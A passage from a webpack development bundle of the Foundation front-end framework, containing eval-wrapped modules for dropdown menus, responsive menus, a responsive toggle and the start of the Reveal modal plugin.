jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', \".\".concat(parClass)),\n hasSub = $elem.hasClass(parClass),\n hasClicked = $elem.attr('data-is-click') === 'true',\n $sub = $elem.children('.is-dropdown-submenu');\n\n if (hasSub) {\n if (hasClicked) {\n if (!_this.options.closeOnClick || !_this.options.clickOpen && !hasTouch || _this.options.forceFollow && hasTouch) {\n return;\n } else {\n e.stopImmediatePropagation();\n e.preventDefault();\n\n _this._hide($elem);\n }\n } else {\n e.preventDefault();\n e.stopImmediatePropagation();\n\n _this._show($sub);\n\n $elem.add($elem.parentsUntil(_this.$element, \".\".concat(parClass))).attr('data-is-click', true);\n }\n }\n };\n\n if (this.options.clickOpen || hasTouch) {\n this.$menuItems.on('click.zf.dropdownmenu touchstart.zf.dropdownmenu', handleClickFn);\n } // Handle Leaf element Clicks\n\n\n if (_this.options.closeOnClickInside) {\n this.$menuItems.on('click.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (!hasSub) {\n _this._hide();\n }\n });\n }\n\n if (!this.options.disableHover) {\n this.$menuItems.on('mouseenter.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub) {\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._show($elem.children('.is-dropdown-submenu'));\n }, _this.options.hoverDelay));\n }\n }).on('mouseleave.zf.dropdownMenu', Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"ignoreMousedisappear\"])(function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub && _this.options.autoclose) {\n if ($elem.attr('data-is-click') === 'true' && _this.options.clickOpen) {\n return false;\n }\n\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._hide($elem);\n }, _this.options.closingTime));\n }\n }));\n }\n\n this.$menuItems.on('keydown.zf.dropdownmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', '[role=\"menuitem\"]'),\n isTab = _this.$tabs.index($element) > -1,\n $elements = isTab ? _this.$tabs : $element.siblings('li').add($element),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(i - 1);\n $nextElement = $elements.eq(i + 1);\n return;\n }\n });\n\n var nextSibling = function nextSibling() {\n $nextElement.children('a:first').focus();\n e.preventDefault();\n },\n prevSibling = function prevSibling() {\n $prevElement.children('a:first').focus();\n e.preventDefault();\n },\n openSub = function openSub() {\n var $sub = $element.children('ul.is-dropdown-submenu');\n\n if ($sub.length) {\n _this._show($sub);\n\n $element.find('li > a:first').focus();\n e.preventDefault();\n } else {\n return;\n }\n },\n closeSub = function closeSub() {\n //if ($element.is(':first-child')) {\n var close = $element.parent('ul').parent('li');\n close.children('a:first').focus();\n\n _this._hide(close);\n\n e.preventDefault(); //}\n };\n\n var functions = {\n open: openSub,\n close: function close() {\n _this._hide(_this.$element);\n\n _this.$menuItems.eq(0).children('a').focus(); // focus to first element\n\n\n e.preventDefault();\n },\n handled: function handled() {\n e.stopImmediatePropagation();\n }\n };\n\n if (isTab) {\n if (_this._isVertical()) {\n // vertical menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: closeSub,\n previous: openSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n down: nextSibling,\n up: prevSibling,\n next: openSub,\n previous: closeSub\n });\n }\n } else {\n // horizontal menu\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: prevSibling,\n previous: nextSibling,\n down: openSub,\n up: closeSub\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: nextSibling,\n previous: prevSibling,\n down: openSub,\n up: closeSub\n });\n }\n }\n } else {\n // not tabs -> one sub\n if (_this._isRtl()) {\n // right aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: closeSub,\n previous: openSub,\n down: nextSibling,\n up: prevSibling\n });\n } else {\n // left aligned\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend(functions, {\n next: openSub,\n previous: closeSub,\n down: nextSibling,\n up: prevSibling\n });\n }\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].handleKey(e, 'DropdownMenu', functions);\n });\n }\n /**\n * Adds an event handler to the body to close any dropdowns on a click.\n * @function\n * @private\n */\n\n }, {\n key: \"_addBodyHandler\",\n value: function _addBodyHandler() {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body),\n _this = this;\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu').on('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu', function (e) {\n var $link = _this.$element.find(e.target);\n\n if ($link.length) {\n return;\n }\n\n _this._hide();\n\n $body.off('mouseup.zf.dropdownmenu touchend.zf.dropdownmenu');\n });\n }\n /**\n * Opens a dropdown pane, and checks for collisions first.\n * @param {jQuery} $sub - ul element that is a submenu to show\n * @function\n * @private\n * @fires Dropdownmenu#show\n */\n\n }, {\n key: \"_show\",\n value: function _show($sub) {\n var idx = this.$tabs.index(this.$tabs.filter(function (i, el) {\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).find($sub).length > 0;\n }));\n var $sibs = $sub.parent('li.is-dropdown-submenu-parent').siblings('li.is-dropdown-submenu-parent');\n\n this._hide($sibs, idx);\n\n $sub.css('visibility', 'hidden').addClass('js-dropdown-active').parent('li.is-dropdown-submenu-parent').addClass('is-active');\n var clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n var oldClass = this.options.alignment === 'left' ? '-right' : '-left',\n $parentLi = $sub.parent('.is-dropdown-submenu-parent');\n $parentLi.removeClass(\"opens\".concat(oldClass)).addClass(\"opens-\".concat(this.options.alignment));\n clear = _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__[\"Box\"].ImNotTouchingYou($sub, null, true);\n\n if (!clear) {\n $parentLi.removeClass(\"opens-\".concat(this.options.alignment)).addClass('opens-inner');\n }\n\n this.changed = true;\n }\n\n $sub.css('visibility', '');\n\n if (this.options.closeOnClick) {\n this._addBodyHandler();\n }\n /**\n * Fires when the new dropdown pane is visible.\n * @event Dropdownmenu#show\n */\n\n\n this.$element.trigger('show.zf.dropdownmenu', [$sub]);\n }\n /**\n * Hides a single, currently open dropdown pane, if passed a parameter, otherwise, hides everything.\n * @function\n * @param {jQuery} $elem - element with a submenu to hide\n * @param {Number} idx - index of the $tabs collection to hide\n * @private\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem, idx) {\n var $toClose;\n\n if ($elem && $elem.length) {\n $toClose = $elem;\n } else if (typeof idx !== 'undefined') {\n $toClose = this.$tabs.not(function (i, el) {\n return i === idx;\n });\n } else {\n $toClose = this.$element;\n }\n\n var somethingToClose = $toClose.hasClass('is-active') || $toClose.find('.is-active').length > 0;\n\n if (somethingToClose) {\n $toClose.find('li.is-active').add($toClose).attr({\n 'data-is-click': false\n }).removeClass('is-active');\n $toClose.find('ul.js-dropdown-active').removeClass('js-dropdown-active');\n\n if (this.changed || $toClose.find('opens-inner').length) {\n var oldClass = this.options.alignment === 'left' ? 'right' : 'left';\n $toClose.find('li.is-dropdown-submenu-parent').add($toClose).removeClass(\"opens-inner opens-\".concat(this.options.alignment)).addClass(\"opens-\".concat(oldClass));\n this.changed = false;\n }\n /**\n * Fires when the open menus are closed.\n * @event Dropdownmenu#hide\n */\n\n\n this.$element.trigger('hide.zf.dropdownmenu', [$toClose]);\n }\n }\n /**\n * Destroys the plugin.\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n this.$menuItems.off('.zf.dropdownmenu').removeAttr('data-is-click').removeClass('is-right-arrow is-left-arrow is-down-arrow opens-right opens-left opens-inner');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.body).off('.zf.dropdownmenu');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Burn(this.$element, 'dropdown');\n }\n }]);\n\n return DropdownMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__[\"Plugin\"]);\n/**\n * Default settings for plugin\n */\n\n\nDropdownMenu.defaults = {\n /**\n * Disallows hover events from opening submenus\n * @option\n * @type {boolean}\n * @default false\n */\n disableHover: false,\n\n /**\n * Allow a submenu to automatically close on a mouseleave event, if not clicked open.\n * @option\n * @type {boolean}\n * @default true\n */\n autoclose: true,\n\n /**\n * Amount of time to delay opening a submenu on hover event.\n * @option\n * @type {number}\n * @default 50\n */\n hoverDelay: 50,\n\n /**\n * Allow a submenu to open/remain open on parent click event. Allows cursor to move away from menu.\n * @option\n * @type {boolean}\n * @default false\n */\n clickOpen: false,\n\n /**\n * Amount of time to delay closing a submenu on a mouseleave event.\n * @option\n * @type {number}\n * @default 500\n */\n closingTime: 500,\n\n /**\n * Position of the menu relative to what direction the submenus should open. Handled by JS. Can be `'auto'`, `'left'` or `'right'`.\n * @option\n * @type {string}\n * @default 'auto'\n */\n alignment: 'auto',\n\n /**\n * Allow clicks on the body to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allow clicks on leaf anchor links to close any open submenus.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClickInside: true,\n\n /**\n * Class applied to vertical oriented menus, Foundation default is `vertical`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'vertical'\n */\n verticalClass: 'vertical',\n\n /**\n * Class applied to right-side oriented menus, Foundation default is `align-right`. Update this if using your own class.\n * @option\n * @type {string}\n * @default 'align-right'\n */\n rightClass: 'align-right',\n\n /**\n * Boolean to force overide the clicking of links to perform default action, on second touch event for mobile.\n * @option\n * @type {boolean}\n * @default true\n */\n forceFollow: true\n};\n\n\n//# sourceURL=webpack:///./js/foundation.dropdownMenu.js?")},"./js/foundation.responsiveMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveMenu", function() { return ResponsiveMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.dropdownMenu */ "./js/foundation.dropdownMenu.js");\n/* harmony import */ var _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.drilldown */ "./js/foundation.drilldown.js");\n/* harmony import */ var _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.accordionMenu */ "./js/foundation.accordionMenu.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\nvar MenuPlugins = {\n dropdown: {\n cssClass: \'dropdown\',\n plugin: _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"]\n },\n drilldown: {\n cssClass: \'drilldown\',\n plugin: _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__["Drilldown"]\n },\n accordion: {\n cssClass: \'accordion-menu\',\n plugin: _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__["AccordionMenu"]\n }\n}; // import "foundation.util.triggers.js";\n\n/**\n * ResponsiveMenu module.\n * @module foundation.responsiveMenu\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n */\n\nvar ResponsiveMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveMenu, _Plugin);\n\n function ResponsiveMenu() {\n _classCallCheck(this, ResponsiveMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveMenu).apply(this, arguments));\n }\n\n _createClass(ResponsiveMenu, [{\n key: "_setup",\n\n /**\n * Creates a new instance of a responsive menu.\n * @class\n * @name ResponsiveMenu\n * @fires ResponsiveMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.rules = this.$element.data(\'responsive-menu\');\n this.currentMq = null;\n this.currentPlugin = null;\n this.className = \'ResponsiveMenu\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Menu by parsing the classes from the \'data-ResponsiveMenu\' attribute on the element.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init(); // The first time an Interchange plugin is initialized, this.rules is converted from a string of "classes" to an object of rules\n\n\n if (typeof this.rules === \'string\') {\n var rulesTree = {}; // Parse rules from "classes" pulled from data attribute\n\n var rules = this.rules.split(\' \'); // Iterate through every rule found\n\n for (var i = 0; i < rules.length; i++) {\n var rule = rules[i].split(\'-\');\n var ruleSize = rule.length > 1 ? rule[0] : \'small\';\n var rulePlugin = rule.length > 1 ? rule[1] : rule[0];\n\n if (MenuPlugins[rulePlugin] !== null) {\n rulesTree[ruleSize] = MenuPlugins[rulePlugin];\n }\n }\n\n this.rules = rulesTree;\n }\n\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default.a.isEmptyObject(this.rules)) {\n this._checkMediaQueries();\n } // Add data-mutate since children may need it.\n\n\n this.$element.attr(\'data-mutate\', this.$element.attr(\'data-mutate\') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__["GetYoDigits"])(6, \'responsive-menu\'));\n }\n /**\n * Initializes events for the Menu.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', function () {\n _this._checkMediaQueries();\n }); // $(window).on(\'resize.zf.ResponsiveMenu\', function() {\n // _this._checkMediaQueries();\n // });\n }\n /**\n * Checks the current screen width against available media queries. If the media query has changed, and the plugin needed has changed, the plugins will swap out.\n * @function\n * @private\n */\n\n }, {\n key: "_checkMediaQueries",\n value: function _checkMediaQueries() {\n var matchedMq,\n _this = this; // Iterate through each rule and find the last matching rule\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(this.rules, function (key) {\n if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(key)) {\n matchedMq = key;\n }\n }); // No match? No dice\n\n if (!matchedMq) return; // Plugin already initialized? We good\n\n if (this.currentPlugin instanceof this.rules[matchedMq].plugin) return; // Remove existing plugin-specific CSS classes\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(MenuPlugins, function (key, value) {\n _this.$element.removeClass(value.cssClass);\n }); // Add the CSS class for the new plugin\n\n this.$element.addClass(this.rules[matchedMq].cssClass); // Create an instance of the new plugin\n\n if (this.currentPlugin) this.currentPlugin.destroy();\n this.currentPlugin = new this.rules[matchedMq].plugin(this.$element, {});\n }\n /**\n * Destroys the instance of the current plugin on this element, as well as the window resize handler that switches the plugins out.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.currentPlugin.destroy();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'.zf.ResponsiveMenu\');\n }\n }]);\n\n return ResponsiveMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveMenu.defaults = {};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveMenu.js?')},"./js/foundation.responsiveToggle.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveToggle", function() { return ResponsiveToggle; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n/**\n * ResponsiveToggle module.\n * @module foundation.responsiveToggle\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion\n */\n\nvar ResponsiveToggle =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveToggle, _Plugin);\n\n function ResponsiveToggle() {\n _classCallCheck(this, ResponsiveToggle);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveToggle).apply(this, arguments));\n }\n\n _createClass(ResponsiveToggle, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Tab Bar.\n * @class\n * @name ResponsiveToggle\n * @fires ResponsiveToggle#init\n * @param {jQuery} element - jQuery object to attach tab bar functionality to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, ResponsiveToggle.defaults, this.$element.data(), options);\n this.className = \'ResponsiveToggle\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the tab bar by finding the target element, toggling element, and running update().\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init();\n\n var targetID = this.$element.data(\'responsive-toggle\');\n\n if (!targetID) {\n console.error(\'Your tab bar needs an ID of a Menu as the value of data-tab-bar.\');\n }\n\n this.$targetMenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()("#".concat(targetID));\n this.$toggler = this.$element.find(\'[data-toggle]\').filter(function () {\n var target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data(\'toggle\');\n return target === targetID || target === "";\n });\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, this.options, this.$targetMenu.data()); // If they were set, parse the animation classes\n\n if (this.options.animate) {\n var input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n }\n\n this._update();\n }\n /**\n * Adds necessary event handlers for the tab bar to work.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n this._updateMqHandler = this._update.bind(this);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', this._updateMqHandler);\n this.$toggler.on(\'click.zf.responsiveToggle\', this.toggleMenu.bind(this));\n }\n /**\n * Checks the current media query to determine if the tab bar should be visible or hidden.\n * @function\n * @private\n */\n\n }, {\n key: "_update",\n value: function _update() {\n // Mobile\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n this.$element.show();\n this.$targetMenu.hide();\n } // Desktop\n else {\n this.$element.hide();\n this.$targetMenu.show();\n }\n }\n /**\n * Toggles the element attached to the tab bar. The toggle only happens if the screen is small enough to allow it.\n * @function\n * @fires ResponsiveToggle#toggled\n */\n\n }, {\n key: "toggleMenu",\n value: function toggleMenu() {\n var _this2 = this;\n\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n /**\n * Fires when the element attached to the tab bar toggles.\n * @event ResponsiveToggle#toggled\n */\n if (this.options.animate) {\n if (this.$targetMenu.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateIn(this.$targetMenu, this.animationIn, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n\n _this2.$targetMenu.find(\'[data-mutate]\').triggerHandler(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateOut(this.$targetMenu, this.animationOut, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n });\n }\n } else {\n this.$targetMenu.toggle(0);\n this.$targetMenu.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n this.$element.trigger(\'toggled.zf.responsiveToggle\');\n }\n }\n }\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.responsiveToggle\');\n this.$toggler.off(\'.zf.responsiveToggle\');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'changed.zf.mediaquery\', this._updateMqHandler);\n }\n }]);\n\n return ResponsiveToggle;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveToggle.defaults = {\n /**\n * The breakpoint after which the menu is always shown, and the tab bar is hidden.\n * @option\n * @type {string}\n * @default \'medium\'\n */\n hideFor: \'medium\',\n\n /**\n * To decide if the toggle should be animated or not.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveToggle.js?')},"./js/foundation.reveal.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Reveal\", function() { return Reveal; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); 